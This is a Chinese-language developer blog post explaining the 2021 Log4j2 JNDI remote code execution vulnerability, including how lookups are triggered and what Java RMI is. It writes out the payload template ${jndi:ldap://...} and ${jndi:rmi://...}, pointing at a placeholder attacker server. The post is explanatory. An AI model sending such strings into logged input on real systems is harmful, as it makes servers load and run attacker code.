Apache 存在 Log4j2 遠程代碼執行漏洞,有哪些信息值得關注?
相信大家最近都被 Apache 的 Log4j2 的漏洞相關的文章刷屏了,不得不說這次的這個漏洞影響范圍之廣,很多互聯網大廠和開源軟件都被影響到了,作為一個特別通用的日志框架,日常使用的場景非常多,而且很多開源軟件都在使用,所以此次影響到一大批公司,堪稱核彈級漏洞!
不過據說 2021 年 11 月 24 日,阿里云安全團隊向 Apache 官方報告了 Apache Log4j2 遠程代碼執行漏洞,可能這是為什么阿里內部群很安靜,沒任何波瀾的原因吧,畢竟有安全部門!但是很多其他公司是工程師就很不幸了,都表示自己在 12 月 10 號這天晚上被拉起來修復漏洞了,還有好多要給客戶打補丁的。
漏洞描述
我們都知道在使用Apache Log4j2 記錄日志的時候,會使用這樣的格式logger.info("params: {}", params);,進行組裝,不要告訴阿粉你是用加號拼裝~。log4j2 底層在進行組裝的時候,如果發現傳入的 params 當中含有${} 字符串的話會進行替換的時候會執行 lookup 的操作,所謂的 lookup 的操作就是允許通過 JNDI檢索變量。
通過 JNDI 注入漏洞,黑客可以惡意構造特殊數據請求包,觸發此漏洞,從而成功利用此漏洞可以在目標服務器上執行任意代碼,想想就很恐怖!也就是說當 params 中的參數包含一些特定的字符的時候,就會觸發這個漏洞,這種字符數格式比如:${jndi:ldap://xxxxxx},${jndi:rmi://xxxxxx} 其中xxxxxx 表示黑客的服務地址。
黑客通過構造這樣的字符串來訪問目標網站,只要程序通過 log4j2 將日志進行記錄,不管是什么級別,就會將 log4j2 的 lookup 功能觸發,然后就會通過 RMI 訪問黑客的服務地址,黑客通過這個服務輸出一個 class 字節碼文件,這個字節碼文件里面可以執行任何內容,相當于把這個服務器都交給黑客了,后果可想而知!
攻擊原理
有大佬畫了一張攻擊原理的圖書,阿粉給大家看一下,很詳細了。
相關實現的代碼阿粉放到了后臺,回復關鍵字【log4j】獲取,不過復現的過程可能會比較坎坷,因為由于 JDK 版本的問題,很多小伙伴不一定能復現出來。
RMI
估計很多小伙伴看到這個漏洞的時候估計跟阿粉一樣有一個疑問,那就是 RMI 是啥?運用面向搜索引擎編程的技巧,阿粉找到了下面的內容,看上去還是很好理解的。
Java RMI(Java Remote Method Invocation),即 Java 遠程方法調用。是 Java 編程語言里,一種用于實現遠程過程調用的應用程序編程接口。有點類似于我們常用的服務注冊發現機制一樣,使用 JRMP(Java Remote Message Protocol,Java遠程消息交換協議)實現,使得客戶端運行的程序可以調用遠程服務器上的對象,有點 RPC 的感覺。
劃重點
王堅博士曾說:安全是互聯網公司的生命,也是每一位網民的最基本需求。
互聯網軟件的安全與我們每一個程序員相關,我們在日常工作中要隨時有應對各種安全漏洞的準備,寫的代碼也有盡量沒有漏洞。為此阿粉特意找來了一本由阿里知名白帽子道哥編寫的《白帽子講 Web 安全》書籍,里面分析了很多種 Web 安全,如下面所示,讓我們為互聯網的安全做一點小小的貢獻。